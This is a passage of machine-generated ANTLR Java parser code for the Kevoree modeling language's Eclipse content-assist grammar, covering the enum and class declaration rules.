// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:861:1: ( ruletypeName )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:862:1: ruletypeName
{
before(grammarAccess.getEnumDeclrAccess().getTypeNameParserRuleCall_1());
pushFollow(FOLLOW_ruletypeName_in_rule__EnumDeclr__Group__1__Impl1771);
ruletypeName();
state._fsp--;
after(grammarAccess.getEnumDeclrAccess().getTypeNameParserRuleCall_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__1__Impl"
// $ANTLR start "rule__EnumDeclr__Group__2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:873:1: rule__EnumDeclr__Group__2 : rule__EnumDeclr__Group__2__Impl rule__EnumDeclr__Group__3 ;
public final void rule__EnumDeclr__Group__2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:877:1: ( rule__EnumDeclr__Group__2__Impl rule__EnumDeclr__Group__3 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:878:2: rule__EnumDeclr__Group__2__Impl rule__EnumDeclr__Group__3
{
pushFollow(FOLLOW_rule__EnumDeclr__Group__2__Impl_in_rule__EnumDeclr__Group__21800);
rule__EnumDeclr__Group__2__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__EnumDeclr__Group__3_in_rule__EnumDeclr__Group__21803);
rule__EnumDeclr__Group__3();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__2"
// $ANTLR start "rule__EnumDeclr__Group__2__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:885:1: rule__EnumDeclr__Group__2__Impl : ( '{' ) ;
public final void rule__EnumDeclr__Group__2__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:889:1: ( ( '{' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:890:1: ( '{' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:890:1: ( '{' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:891:1: '{'
{
before(grammarAccess.getEnumDeclrAccess().getLeftCurlyBracketKeyword_2());
match(input,21,FOLLOW_21_in_rule__EnumDeclr__Group__2__Impl1831);
after(grammarAccess.getEnumDeclrAccess().getLeftCurlyBracketKeyword_2());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__2__Impl"
// $ANTLR start "rule__EnumDeclr__Group__3"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:904:1: rule__EnumDeclr__Group__3 : rule__EnumDeclr__Group__3__Impl rule__EnumDeclr__Group__4 ;
public final void rule__EnumDeclr__Group__3() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:908:1: ( rule__EnumDeclr__Group__3__Impl rule__EnumDeclr__Group__4 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:909:2: rule__EnumDeclr__Group__3__Impl rule__EnumDeclr__Group__4
{
pushFollow(FOLLOW_rule__EnumDeclr__Group__3__Impl_in_rule__EnumDeclr__Group__31862);
rule__EnumDeclr__Group__3__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__EnumDeclr__Group__4_in_rule__EnumDeclr__Group__31865);
rule__EnumDeclr__Group__4();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__3"
// $ANTLR start "rule__EnumDeclr__Group__3__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:916:1: rule__EnumDeclr__Group__3__Impl : ( RULE_ID ) ;
public final void rule__EnumDeclr__Group__3__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:920:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:921:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:921:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:922:1: RULE_ID
{
before(grammarAccess.getEnumDeclrAccess().getIDTerminalRuleCall_3());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__EnumDeclr__Group__3__Impl1892);
after(grammarAccess.getEnumDeclrAccess().getIDTerminalRuleCall_3());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__3__Impl"
// $ANTLR start "rule__EnumDeclr__Group__4"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:933:1: rule__EnumDeclr__Group__4 : rule__EnumDeclr__Group__4__Impl rule__EnumDeclr__Group__5 ;
public final void rule__EnumDeclr__Group__4() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:937:1: ( rule__EnumDeclr__Group__4__Impl rule__EnumDeclr__Group__5 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:938:2: rule__EnumDeclr__Group__4__Impl rule__EnumDeclr__Group__5
{
pushFollow(FOLLOW_rule__EnumDeclr__Group__4__Impl_in_rule__EnumDeclr__Group__41921);
rule__EnumDeclr__Group__4__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__EnumDeclr__Group__5_in_rule__EnumDeclr__Group__41924);
rule__EnumDeclr__Group__5();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__4"
// $ANTLR start "rule__EnumDeclr__Group__4__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:945:1: rule__EnumDeclr__Group__4__Impl : ( ( rule__EnumDeclr__Group_4__0 )* ) ;
public final void rule__EnumDeclr__Group__4__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:949:1: ( ( ( rule__EnumDeclr__Group_4__0 )* ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:950:1: ( ( rule__EnumDeclr__Group_4__0 )* )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:950:1: ( ( rule__EnumDeclr__Group_4__0 )* )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:951:1: ( rule__EnumDeclr__Group_4__0 )*
{
before(grammarAccess.getEnumDeclrAccess().getGroup_4());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:952:1: ( rule__EnumDeclr__Group_4__0 )*
loop9:
do {
int alt9=2;
int LA9_0 = input.LA(1);
if ( (LA9_0==23) ) {
alt9=1;
}
switch (alt9) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:952:2: rule__EnumDeclr__Group_4__0
{
pushFollow(FOLLOW_rule__EnumDeclr__Group_4__0_in_rule__EnumDeclr__Group__4__Impl1951);
rule__EnumDeclr__Group_4__0();
state._fsp--;
}
break;
default :
break loop9;
}
} while (true);
after(grammarAccess.getEnumDeclrAccess().getGroup_4());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__4__Impl"
// $ANTLR start "rule__EnumDeclr__Group__5"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:962:1: rule__EnumDeclr__Group__5 : rule__EnumDeclr__Group__5__Impl ;
public final void rule__EnumDeclr__Group__5() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:966:1: ( rule__EnumDeclr__Group__5__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:967:2: rule__EnumDeclr__Group__5__Impl
{
pushFollow(FOLLOW_rule__EnumDeclr__Group__5__Impl_in_rule__EnumDeclr__Group__51982);
rule__EnumDeclr__Group__5__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__5"
// $ANTLR start "rule__EnumDeclr__Group__5__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:973:1: rule__EnumDeclr__Group__5__Impl : ( '}' ) ;
public final void rule__EnumDeclr__Group__5__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:977:1: ( ( '}' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:978:1: ( '}' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:978:1: ( '}' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:979:1: '}'
{
before(grammarAccess.getEnumDeclrAccess().getRightCurlyBracketKeyword_5());
match(input,22,FOLLOW_22_in_rule__EnumDeclr__Group__5__Impl2010);
after(grammarAccess.getEnumDeclrAccess().getRightCurlyBracketKeyword_5());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group__5__Impl"
// $ANTLR start "rule__EnumDeclr__Group_4__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1004:1: rule__EnumDeclr__Group_4__0 : rule__EnumDeclr__Group_4__0__Impl rule__EnumDeclr__Group_4__1 ;
public final void rule__EnumDeclr__Group_4__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1008:1: ( rule__EnumDeclr__Group_4__0__Impl rule__EnumDeclr__Group_4__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1009:2: rule__EnumDeclr__Group_4__0__Impl rule__EnumDeclr__Group_4__1
{
pushFollow(FOLLOW_rule__EnumDeclr__Group_4__0__Impl_in_rule__EnumDeclr__Group_4__02053);
rule__EnumDeclr__Group_4__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__EnumDeclr__Group_4__1_in_rule__EnumDeclr__Group_4__02056);
rule__EnumDeclr__Group_4__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group_4__0"
// $ANTLR start "rule__EnumDeclr__Group_4__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1016:1: rule__EnumDeclr__Group_4__0__Impl : ( ',' ) ;
public final void rule__EnumDeclr__Group_4__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1020:1: ( ( ',' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1021:1: ( ',' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1021:1: ( ',' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1022:1: ','
{
before(grammarAccess.getEnumDeclrAccess().getCommaKeyword_4_0());
match(input,23,FOLLOW_23_in_rule__EnumDeclr__Group_4__0__Impl2084);
after(grammarAccess.getEnumDeclrAccess().getCommaKeyword_4_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group_4__0__Impl"
// $ANTLR start "rule__EnumDeclr__Group_4__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1035:1: rule__EnumDeclr__Group_4__1 : rule__EnumDeclr__Group_4__1__Impl ;
public final void rule__EnumDeclr__Group_4__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1039:1: ( rule__EnumDeclr__Group_4__1__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1040:2: rule__EnumDeclr__Group_4__1__Impl
{
pushFollow(FOLLOW_rule__EnumDeclr__Group_4__1__Impl_in_rule__EnumDeclr__Group_4__12115);
rule__EnumDeclr__Group_4__1__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group_4__1"
// $ANTLR start "rule__EnumDeclr__Group_4__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1046:1: rule__EnumDeclr__Group_4__1__Impl : ( RULE_ID ) ;
public final void rule__EnumDeclr__Group_4__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1050:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1051:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1051:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1052:1: RULE_ID
{
before(grammarAccess.getEnumDeclrAccess().getIDTerminalRuleCall_4_1());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__EnumDeclr__Group_4__1__Impl2142);
after(grammarAccess.getEnumDeclrAccess().getIDTerminalRuleCall_4_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__EnumDeclr__Group_4__1__Impl"
// $ANTLR start "rule__ClassDeclr__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1067:1: rule__ClassDeclr__Group__0 : rule__ClassDeclr__Group__0__Impl rule__ClassDeclr__Group__1 ;
public final void rule__ClassDeclr__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1071:1: ( rule__ClassDeclr__Group__0__Impl rule__ClassDeclr__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1072:2: rule__ClassDeclr__Group__0__Impl rule__ClassDeclr__Group__1
{
pushFollow(FOLLOW_rule__ClassDeclr__Group__0__Impl_in_rule__ClassDeclr__Group__02175);
rule__ClassDeclr__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ClassDeclr__Group__1_in_rule__ClassDeclr__Group__02178);
rule__ClassDeclr__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__0"
// $ANTLR start "rule__ClassDeclr__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1079:1: rule__ClassDeclr__Group__0__Impl : ( 'class' ) ;
public final void rule__ClassDeclr__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1083:1: ( ( 'class' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1084:1: ( 'class' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1084:1: ( 'class' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1085:1: 'class'
{
before(grammarAccess.getClassDeclrAccess().getClassKeyword_0());
match(input,24,FOLLOW_24_in_rule__ClassDeclr__Group__0__Impl2206);
after(grammarAccess.getClassDeclrAccess().getClassKeyword_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__0__Impl"
// $ANTLR start "rule__ClassDeclr__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1098:1: rule__ClassDeclr__Group__1 : rule__ClassDeclr__Group__1__Impl rule__ClassDeclr__Group__2 ;
public final void rule__ClassDeclr__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1102:1: ( rule__ClassDeclr__Group__1__Impl rule__ClassDeclr__Group__2 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1103:2: rule__ClassDeclr__Group__1__Impl rule__ClassDeclr__Group__2
{
pushFollow(FOLLOW_rule__ClassDeclr__Group__1__Impl_in_rule__ClassDeclr__Group__12237);
rule__ClassDeclr__Group__1__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ClassDeclr__Group__2_in_rule__ClassDeclr__Group__12240);
rule__ClassDeclr__Group__2();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__1"
// $ANTLR start "rule__ClassDeclr__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1110:1: rule__ClassDeclr__Group__1__Impl : ( ruletypeName ) ;
public final void rule__ClassDeclr__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1114:1: ( ( ruletypeName ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1115:1: ( ruletypeName )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1115:1: ( ruletypeName )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1116:1: ruletypeName
{
before(grammarAccess.getClassDeclrAccess().getTypeNameParserRuleCall_1());
pushFollow(FOLLOW_ruletypeName_in_rule__ClassDeclr__Group__1__Impl2267);
ruletypeName();
state._fsp--;
after(grammarAccess.getClassDeclrAccess().getTypeNameParserRuleCall_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__1__Impl"
// $ANTLR start "rule__ClassDeclr__Group__2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1127:1: rule__ClassDeclr__Group__2 : rule__ClassDeclr__Group__2__Impl rule__ClassDeclr__Group__3 ;
public final void rule__ClassDeclr__Group__2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1131:1: ( rule__ClassDeclr__Group__2__Impl rule__ClassDeclr__Group__3 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1132:2: rule__ClassDeclr__Group__2__Impl rule__ClassDeclr__Group__3
{
pushFollow(FOLLOW_rule__ClassDeclr__Group__2__Impl_in_rule__ClassDeclr__Group__22296);
rule__ClassDeclr__Group__2__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ClassDeclr__Group__3_in_rule__ClassDeclr__Group__22299);
rule__ClassDeclr__Group__3();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__2"
// $ANTLR start "rule__ClassDeclr__Group__2__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1139:1: rule__ClassDeclr__Group__2__Impl : ( ( ruleclassParentDeclr )? ) ;
public final void rule__ClassDeclr__Group__2__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1143:1: ( ( ( ruleclassParentDeclr )? ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1144:1: ( ( ruleclassParentDeclr )? )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1144:1: ( ( ruleclassParentDeclr )? )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1145:1: ( ruleclassParentDeclr )?
{
before(grammarAccess.getClassDeclrAccess().getClassParentDeclrParserRuleCall_2());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1146:1: ( ruleclassParentDeclr )?
int alt10=2;
int LA10_0 = input.LA(1);
if ( (LA10_0==25) ) {
alt10=1;
}
switch (alt10) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1146:3: ruleclassParentDeclr
{
pushFollow(FOLLOW_ruleclassParentDeclr_in_rule__ClassDeclr__Group__2__Impl2327);
ruleclassParentDeclr();
state._fsp--;
}
break;
}
after(grammarAccess.getClassDeclrAccess().getClassParentDeclrParserRuleCall_2());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__2__Impl"
// $ANTLR start "rule__ClassDeclr__Group__3"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1156:1: rule__ClassDeclr__Group__3 : rule__ClassDeclr__Group__3__Impl rule__ClassDeclr__Group__4 ;
public final void rule__ClassDeclr__Group__3() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1160:1: ( rule__ClassDeclr__Group__3__Impl rule__ClassDeclr__Group__4 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1161:2: rule__ClassDeclr__Group__3__Impl rule__ClassDeclr__Group__4
{
pushFollow(FOLLOW_rule__ClassDeclr__Group__3__Impl_in_rule__ClassDeclr__Group__32358);
rule__ClassDeclr__Group__3__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ClassDeclr__Group__4_in_rule__ClassDeclr__Group__32361);
rule__ClassDeclr__Group__4();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__3"
// $ANTLR start "rule__ClassDeclr__Group__3__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1168:1: rule__ClassDeclr__Group__3__Impl : ( '{' ) ;
public final void rule__ClassDeclr__Group__3__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1172:1: ( ( '{' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1173:1: ( '{' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1173:1: ( '{' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1174:1: '{'
{
before(grammarAccess.getClassDeclrAccess().getLeftCurlyBracketKeyword_3());
match(input,21,FOLLOW_21_in_rule__ClassDeclr__Group__3__Impl2389);
after(grammarAccess.getClassDeclrAccess().getLeftCurlyBracketKeyword_3());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__3__Impl"
// $ANTLR start "rule__ClassDeclr__Group__4"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1187:1: rule__ClassDeclr__Group__4 : rule__ClassDeclr__Group__4__Impl rule__ClassDeclr__Group__5 ;
public final void rule__ClassDeclr__Group__4() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1191:1: ( rule__ClassDeclr__Group__4__Impl rule__ClassDeclr__Group__5 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1192:2: rule__ClassDeclr__Group__4__Impl rule__ClassDeclr__Group__5
{
pushFollow(FOLLOW_rule__ClassDeclr__Group__4__Impl_in_rule__ClassDeclr__Group__42420);
rule__ClassDeclr__Group__4__Impl();
state._fsp--;
